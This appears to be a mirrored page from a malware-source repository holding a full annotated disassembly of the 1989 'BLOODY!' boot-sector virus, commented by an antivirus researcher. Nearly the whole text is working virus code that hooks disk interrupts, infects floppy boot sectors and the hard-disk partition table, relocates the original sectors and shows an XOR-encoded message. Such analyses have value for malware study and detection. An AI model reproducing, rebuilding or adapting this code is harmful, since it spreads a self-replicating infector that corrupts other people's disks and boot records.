mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
4b9382ddbc
push
281 lines
10 KiB
NASM
281 lines
10 KiB
NASM
|
|
; BLOODY! virus
|
|
;
|
|
; Discovered an commented by Ferenc Leitold
|
|
; Hungarian VirusBuster Team
|
|
; Address: 1399 Budapest
|
|
; P.O. box 701/349
|
|
; HUNGARY
|
|
|
|
|
|
217D:0100 2EFF2E177C JMP Far CS:[7C17]
|
|
217D:0105 E9B500 JMP 01BD ; Jump to main entry point
|
|
|
|
217D:0108 00 db 0 ; Counter
|
|
217D:0109 00 db 0
|
|
217D:010A 00 db 0 ; Flag:
|
|
; 00 : floppy
|
|
; 80 : hard disk
|
|
217D:010B 00 db 0
|
|
|
|
217D:010C A100F0 MOV AX,[F000]
|
|
|
|
217D:010F 0301809F DW 0103H,9F80H ; Entry point at TOP
|
|
|
|
217D:0113 007C0000 DW 7C00H,0000H ; Address of orig. boot
|
|
|
|
217D:0117 057C0000 DW 7C05H,0000H
|
|
|
|
217D:011B 00000000 DW 0000H,0000H ; original INT13 vector
|
|
|
|
;************************ INT13 entry point *****************************
|
|
|
|
217D:011F 80FC02 CMP AH,02 ; Check parameters
|
|
217D:0122 720D JC 0131
|
|
217D:0124 80FC04 CMP AH,04
|
|
217D:0127 7308 JNC 0131
|
|
217D:0129 80FA80 CMP DL,80
|
|
217D:012C 7303 JNC 0131
|
|
217D:012E E80500 CALL 0136 ; Call, if AH=2,3 & DL!=80
|
|
217D:0131 2EFF2E0B00 JMP Far CS:[000B] ; Jump to original INT13
|
|
|
|
217D:0136 50 PUSH AX ; Save registers
|
|
217D:0137 53 PUSH BX
|
|
217D:0138 51 PUSH CX
|
|
217D:0139 52 PUSH DX
|
|
217D:013A 06 PUSH ES
|
|
217D:013B 1E PUSH DS
|
|
217D:013C 56 PUSH SI
|
|
217D:013D 57 PUSH DI
|
|
|
|
217D:013E 0E PUSH CS ; Set DS,ES to CS
|
|
217D:013F 1F POP DS
|
|
217D:0140 0E PUSH CS
|
|
217D:0141 07 POP ES
|
|
|
|
217D:0142 BE0200 MOV SI,0002 ; 2 probe
|
|
|
|
217D:0145 33C0 XOR AX,AX ; Reset drive
|
|
217D:0147 9C PUSHF
|
|
217D:0148 FF1E0B00 CALL Far [000B] ; Call INT13
|
|
217D:014C B80102 MOV AX,0201 ; Read boot sector of floppy
|
|
217D:014F BB0002 MOV BX,0200
|
|
217D:0152 B90100 MOV CX,0001
|
|
217D:0155 32F6 XOR DH,DH
|
|
217D:0157 9C PUSHF
|
|
217D:0158 FF1E0B00 CALL Far [000B] ; Call INT13
|
|
217D:015C 7305 JNC 0163
|
|
217D:015E 4E DEC SI ; If error next probe
|
|
217D:015F 75E4 JNZ 0145
|
|
217D:0161 EB2E JMP 0191 ; Jump, if 2 bad probes was
|
|
|
|
217D:0163 33F6 XOR SI,SI ; Check boot sector, if
|
|
217D:0165 BF0002 MOV DI,0200 ; if infected yet
|
|
217D:0168 B90300 MOV CX,0003
|
|
217D:016B FC CLD
|
|
217D:016C F3A7 REP CMPSW
|
|
217D:016E 7421 JZ 0191 ; Jump, if already infected
|
|
|
|
217D:0170 B80103 MOV AX,0301 ; Write orig. boot sector
|
|
217D:0173 BB0002 MOV BX,0200
|
|
217D:0176 B90300 MOV CX,0003 ; cyl: 0 sect: 3
|
|
217D:0179 B601 MOV DH,01 ; head: 1
|
|
217D:017B 9C PUSHF
|
|
217D:017C FF1E0B00 CALL Far [000B] ; Call INT13
|
|
217D:0180 720F JC 0191
|
|
|
|
217D:0182 B80103 MOV AX,0301 ; Write infected boot sector
|
|
217D:0185 33DB XOR BX,BX
|
|
217D:0187 B90100 MOV CX,0001 ; cyl:0 sect:1
|
|
217D:018A 32F6 XOR DH,DH ; head: 0
|
|
217D:018C 9C PUSHF
|
|
217D:018D FF1E0B00 CALL Far [000B]
|
|
|
|
217D:0191 5F POP DI ; Restore registers
|
|
217D:0192 5E POP SI
|
|
217D:0193 1F POP DS
|
|
217D:0194 07 POP ES
|
|
217D:0195 5A POP DX
|
|
217D:0196 59 POP CX
|
|
217D:0197 5B POP BX
|
|
217D:0198 58 POP AX
|
|
217D:0199 C3 RET
|
|
|
|
217D:019A 1D1D1D1A3737 ; Coded text:
|
|
217D:01A0 37373737557B ; "\r\r\r\n Bloody! Jun. 4, 1989\r\r\r\n"
|
|
217D:01A6 7878736E3637
|
|
217D:01AC 5D6279393723
|
|
217D:01B2 3B37262E2F2E
|
|
217D:01B8 1D1D1D1A00
|
|
|
|
;************************** Main entry point *******************************
|
|
|
|
217D:01BD 33C0 XOR AX,AX
|
|
217D:01BF 8ED8 MOV DS,AX
|
|
217D:01C1 FA CLI
|
|
217D:01C2 8ED0 MOV SS,AX
|
|
217D:01C4 BC007C MOV SP,7C00
|
|
217D:01C7 FB STI
|
|
|
|
217D:01C8 A14C00 MOV AX,[004C] ; Save orig. INT13 vector
|
|
217D:01CB A30B7C MOV [7C0B],AX
|
|
217D:01CE A14E00 MOV AX,[004E]
|
|
217D:01D1 A30D7C MOV [7C0D],AX
|
|
|
|
217D:01D4 A11304 MOV AX,[0413] ; Decrease memory by 2KB
|
|
217D:01D7 48 DEC AX
|
|
217D:01D8 48 DEC AX
|
|
217D:01D9 A31304 MOV [0413],AX
|
|
|
|
217D:01DC B106 MOV CL,06 ; Calculate segment
|
|
217D:01DE D3E0 SHL AX,CL
|
|
217D:01E0 A3117C MOV [7C11],AX
|
|
|
|
|
|
|
|
217D:01E3 A34E00 MOV [004E],AX ; Set new INT13 vector
|
|
217D:01E6 8EC0 MOV ES,AX
|
|
217D:01E8 B81F00 MOV AX,001F
|
|
217D:01EB A34C00 MOV [004C],AX
|
|
|
|
217D:01EE C7060F7C0301 MOV [7C0F],0103 ; Set JMP argument points
|
|
; to TOP
|
|
|
|
217D:01F4 BE007C MOV SI,7C00 ; Copy itself to TOP
|
|
217D:01F7 33FF XOR DI,DI
|
|
217D:01F9 B90001 MOV CX,0100
|
|
217D:01FC FC CLD
|
|
217D:01FD F3A5 REP MOVSW
|
|
217D:01FF FF2E0F7C JMP Far [7C0F] ; Jmp to TOP
|
|
|
|
TOP :0203 33C0 XOR AX,AX ; Reset drive
|
|
TOP :0205 CD13 INT 13
|
|
|
|
TOP :0207 0E PUSH CS ; Set registers to load
|
|
TOP :0208 1F POP DS ; original sector
|
|
TOP :0209 33C0 XOR AX,AX
|
|
TOP :020B 8EC0 MOV ES,AX
|
|
TOP :020D B80102 MOV AX,0201
|
|
TOP :0210 BB007C MOV BX,7C00
|
|
TOP :0213 803E0A0000 CMP [000A],00 ; Check, if it is floppy ?
|
|
TOP :0218 7435 JZ 024F ; Jump, if floppy
|
|
|
|
; if hard disk, load
|
|
; orig. part. table
|
|
TOP :021A B90600 MOV CX,0006 ; cyl.: 0 sect.: 6
|
|
TOP :021D BA8000 MOV DX,0080 ; head: 0
|
|
TOP :0220 CD13 INT 13
|
|
TOP :0222 0E PUSH CS
|
|
TOP :0223 07 POP ES
|
|
TOP :0224 FE060800 INC B/[0008] ; Increase counter
|
|
TOP :0228 803E080080 CMP [0008],80
|
|
TOP :022D 721E JC 024D ; If counter < 128 -> no text
|
|
TOP :022F C60608007A MOV [0008],7A
|
|
TOP :0234 FC CLD
|
|
|
|
TOP :0235 BE9A00 MOV SI,009A ; Write coded text via BIOS
|
|
TOP :0238 AC LODSB
|
|
TOP :0239 3C00 CMP AL,00
|
|
TOP :023B 740C JZ 0249
|
|
TOP :023D 32060300 XOR AL,[0003]
|
|
TOP :0241 B40E MOV AH,0E
|
|
TOP :0243 B700 MOV BH,00
|
|
TOP :0245 CD10 INT 10
|
|
TOP :0247 EBEF JMP 0238
|
|
|
|
TOP :0249 B400 MOV AH,00 ; Wait for keystroke
|
|
TOP :024B CD16 INT 16
|
|
TOP :024D EB54 JMP 02A3
|
|
|
|
; if floppy
|
|
TOP :024F B90300 MOV CX,0003 ; read orig. boot sector
|
|
TOP :0252 BA0001 MOV DX,0100 ; cyl: 0 hd: 1 sect: 3
|
|
TOP :0255 CD13 INT 13
|
|
|
|
TOP :0257 0E PUSH CS
|
|
TOP :0258 07 POP ES
|
|
TOP :0259 721D JC 0278 ; Jump, if error occured
|
|
|
|
|
|
TOP :025B B80102 MOV AX,0201 ; Load part. table of
|
|
TOP :025E BB0002 MOV BX,0200 ; 1st hard disk
|
|
TOP :0261 B90100 MOV CX,0001
|
|
TOP :0264 BA8000 MOV DX,0080
|
|
TOP :0267 CD13 INT 13
|
|
TOP :0269 720D JC 0278 ; Jump, if error occured
|
|
|
|
TOP :026B BE0002 MOV SI,0200 ; Check 1st 3 word
|
|
TOP :026E 33FF XOR DI,DI
|
|
TOP :0270 B90300 MOV CX,0003
|
|
TOP :0273 FC CLD
|
|
TOP :0274 F3A7 REP CMPSW
|
|
TOP :0276 750E JNZ 0286
|
|
|
|
; If infected yet
|
|
TOP :0278 C6060A0000 MOV [000A],00 ; Set Flag to 0
|
|
TOP :027D C606080000 MOV [0008],00 ; Reset counter
|
|
TOP :0282 FF2E1300 JMP Far [0013] ; Jump to orig. boot
|
|
|
|
TOP :0286 B80103 MOV AX,0301 ; Write orig. part. table
|
|
TOP :0289 BB0002 MOV BX,0200
|
|
TOP :028C B90600 MOV CX,0006 ; cyl: 0 sect: 6 hd: 0
|
|
TOP :028F CD13 INT 13
|
|
TOP :0291 72E5 JC 0278
|
|
|
|
TOP :0293 BEBE03 MOV SI,03BE ; Copy partition info
|
|
TOP :0296 BFBE01 MOV DI,01BE ; after virus body
|
|
TOP :0299 B92101 MOV CX,0121
|
|
TOP :029C F3A5 REP MOVSW
|
|
TOP :029E C6060A0001 MOV [000A],01
|
|
|
|
TOP :02A3 B80103 MOV AX,0301 ; Write boot sector or
|
|
; partition table with
|
|
; increased counter
|
|
TOP :02A6 33DB XOR BX,BX
|
|
TOP :02A8 B90100 MOV CX,0001
|
|
TOP :02AB CD13 INT 13
|
|
|
|
|
|
TOP :02AD BEBE04 MOV SI,04BE ; Clear area of partition
|
|
TOP :02B0 BFBE01 MOV DI,01BE ; info
|
|
TOP :02B3 B92000 MOV CX,0020
|
|
TOP :02B6 F3A5 REP MOVSW
|
|
TOP :02B8 EBBE JMP 0278 ; Set parameters &
|
|
; jump to orig. boot
|
|
TOP :02BA DE07 ESC 30,[BX]
|
|
TOP :02BC DF07 ESC 38,[BX]
|
|
TOP :02BE 0000 ADD [BX+SI],AL
|
|
TOP :02C0 0000 ADD [BX+SI],AL
|
|
TOP :02C2 0000 ADD [BX+SI],AL
|
|
TOP :02C4 0000 ADD [BX+SI],AL
|
|
TOP :02C6 0000 ADD [BX+SI],AL
|
|
TOP :02C8 0000 ADD [BX+SI],AL
|
|
TOP :02CA 0000 ADD [BX+SI],AL
|
|
TOP :02CC 0000 ADD [BX+SI],AL
|
|
TOP :02CE 0000 ADD [BX+SI],AL
|
|
TOP :02D0 0000 ADD [BX+SI],AL
|
|
TOP :02D2 0000 ADD [BX+SI],AL
|
|
TOP :02D4 0000 ADD [BX+SI],AL
|
|
TOP :02D6 0000 ADD [BX+SI],AL
|
|
TOP :02D8 0000 ADD [BX+SI],AL
|
|
TOP :02DA 0000 ADD [BX+SI],AL
|
|
TOP :02DC 0000 ADD [BX+SI],AL
|
|
TOP :02DE 0000 ADD [BX+SI],AL
|
|
TOP :02E0 0000 ADD [BX+SI],AL
|
|
TOP :02E2 0000 ADD [BX+SI],AL
|
|
TOP :02E4 0000 ADD [BX+SI],AL
|
|
TOP :02E6 0000 ADD [BX+SI],AL
|
|
TOP :02E8 0000 ADD [BX+SI],AL
|
|
TOP :02EA 0000 ADD [BX+SI],AL
|
|
TOP :02EC 0000 ADD [BX+SI],AL
|
|
TOP :02EE 0000 ADD [BX+SI],AL
|
|
TOP :02F0 0000 ADD [BX+SI],AL
|
|
TOP :02F2 0000 ADD [BX+SI],AL
|
|
TOP :02F4 0000 ADD [BX+SI],AL
|
|
TOP :02F6 0000 ADD [BX+SI],AL
|
|
TOP :02F8 0000 ADD [BX+SI],AL
|
|
TOP :02FA 0000 ADD [BX+SI],AL
|
|
TOP :02FC 0000 ADD [BX+SI],AL
|
|
TOP :02FE 55 PUSH BP
|
|
TOP :02FF AA STOSB
|